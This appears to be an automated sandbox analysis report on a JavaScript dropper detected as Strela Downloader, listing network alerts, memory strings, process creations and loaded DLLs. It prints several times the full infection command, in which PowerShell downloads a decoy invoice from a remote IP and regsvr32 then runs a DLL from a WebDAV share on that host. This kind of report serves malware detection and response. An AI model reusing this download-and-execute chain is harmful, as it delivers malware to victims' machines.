ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1759294992.000001CDD6C6F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1818843681.000001A886AE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1819093898.000001A886B19000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1819093898.000001A886B0C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1817158469.000001A886B0C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1817158469.000001A886B19000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1816922894.000001A886B3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1818843681.000001A886AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/H
Source: net.exe, 00000006.00000002.1818843681.000001A886AE8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/temH
Source: net.exe, 00000006.00000002.1819093898.000001A886B19000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1817158469.000001A886B19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/v
Source: svchost.exe, 00000008.00000002.3045054804.0000016F70C00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1817890835.0000016F70E18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1817890835.0000016F70E18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1817890835.0000016F70E18000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1817890835.0000016F70E4D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1817890835.0000016F70EC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1817890835.0000016F70EC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1817890835.0000016F70EC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7496, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1684156262492114486.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7872

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7560:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oug1fc1w.bfo.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 1684156262492114486.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1684156262492114486.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1672,i,6192537360341325506,13611222803697906229,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\44922471714050.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1672,i,6192537360341325506,13611222803697906229,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
